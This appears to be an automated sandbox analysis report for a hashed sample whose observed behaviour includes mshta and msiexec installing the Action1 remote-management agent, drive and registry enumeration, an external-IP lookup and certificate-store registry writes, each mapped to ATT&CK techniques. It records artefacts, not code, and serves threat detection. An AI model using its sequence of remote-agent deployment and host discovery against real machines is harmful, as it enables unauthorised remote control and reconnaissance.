f3bb4881fb3cfdb0a41682dbaa4bb618a40693bcf328e8328d32235d79cdf818

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 4 IoCs

pid	Process
4472	action1_agent.exe
2532	action1_agent.exe
5892	action1_agent.exe
5660	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
5520	MsiExec.exe
5520	MsiExec.exe
5520	MsiExec.exe
5668	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\J:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
	\??\F:\	msiexec.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\V:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\W:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\H:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
162	ifconfig.me
163	ifconfig.me

Drops file in System32 directory 44 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Program Files directory 27 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1310160470\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1222269762\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1099412304\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1099412304\sets.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1825193759\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1825193759\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1825193759\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1746131416\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1222269762\office_endpoints_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1222269762\smart_switch_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1280157696\automation.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1280157696\extraction.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1280157696\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1746131416\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_2048547355\nav_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1222269762\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1280157696\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1746131416\deny_full_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1746131416\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1704153376\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1310160470\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_2048547355\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1099412304\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1099412304\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1280157696\classification.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1280157696\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4080_1825193759\keys.json	msedge.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Event Logs_2021-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Environment Variables_2020-1789648244.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E7A.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\scripts\Startup Programs_2032-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI2D8E.tmp	msiexec.exe
File created	C:\Windows\Action1\scripts\Antivirus Status_2045-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Disk Drives_2016-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Disk Partitions_2034-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Installer\e5928db.msi	msiexec.exe
File created	C:\Windows\Action1\rule_data\1004.suppress	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Update Status_2064-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Open Shared Resources_2018-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Connections to TCPx002FIP Addresses_2036-1789648244.ps1	action1_agent.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-09-29_16-30-58~4472.log	action1_agent.exe
File created	C:\Windows\Installer\e5928e0.msi	msiexec.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Update Statistics_2039-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Routing Tables_2028-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Sound Devices_2038-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Disks Summary_2042-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\System Information_2023-1789648244.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI3071.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI312D.tmp	msiexec.exe
File created	C:\Windows\Action1\scripts\Windows Update History_2044-1789648244.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI2F07.tmp	msiexec.exe
File created	C:\Windows\Action1\datasource_data\1004.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Network Adapters_2029-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.instance_lock	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\SCSI Controllers_2027-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\MOVEit Vulnerability Status_2050-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Boot Configurations_2019-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Bitlocker Key_2046-1789648244.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\WebP Vulnerability Status_2051-1789648244.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\e5928db.msi	msiexec.exe
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4784	powershell.exe
6028	powershell.exe
5584	powershell.exe
1420	powershell.exe
4644	powershell.exe
1240	powershell.exe
1636	powershell.exe
4804	powershell.exe
1584	powershell.exe
5260	powershell.exe
6140	powershell.exe
4952	powershell.exe
1984	powershell.exe
3844	powershell.exe
5348	powershell.exe
5096	powershell.exe
1460	powershell.exe
5264	powershell.exe
3084	powershell.exe
3804	powershell.exe
5580	powershell.exe
3416	powershell.exe
3812	powershell.exe
2980	powershell.exe
5732	powershell.exe
4816	powershell.exe
2044	powershell.exe
2292	powershell.exe
5028	powershell.exe
5656	powershell.exe
3076	powershell.exe
5092	powershell.exe
5892	powershell.exe
1320	powershell.exe
2696	powershell.exe
4432	powershell.exe
5060	powershell.exe
4044	powershell.exe
1756	powershell.exe
4336	powershell.exe
4892	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2216	cmd.exe
5196	cmd.exe
2384	cmd.exe
3108	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	action1_agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	action1_agent.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2216	cmd.exe
776	PING.EXE
5196	cmd.exe
3364	PING.EXE
3108	cmd.exe
4212	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
1300	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
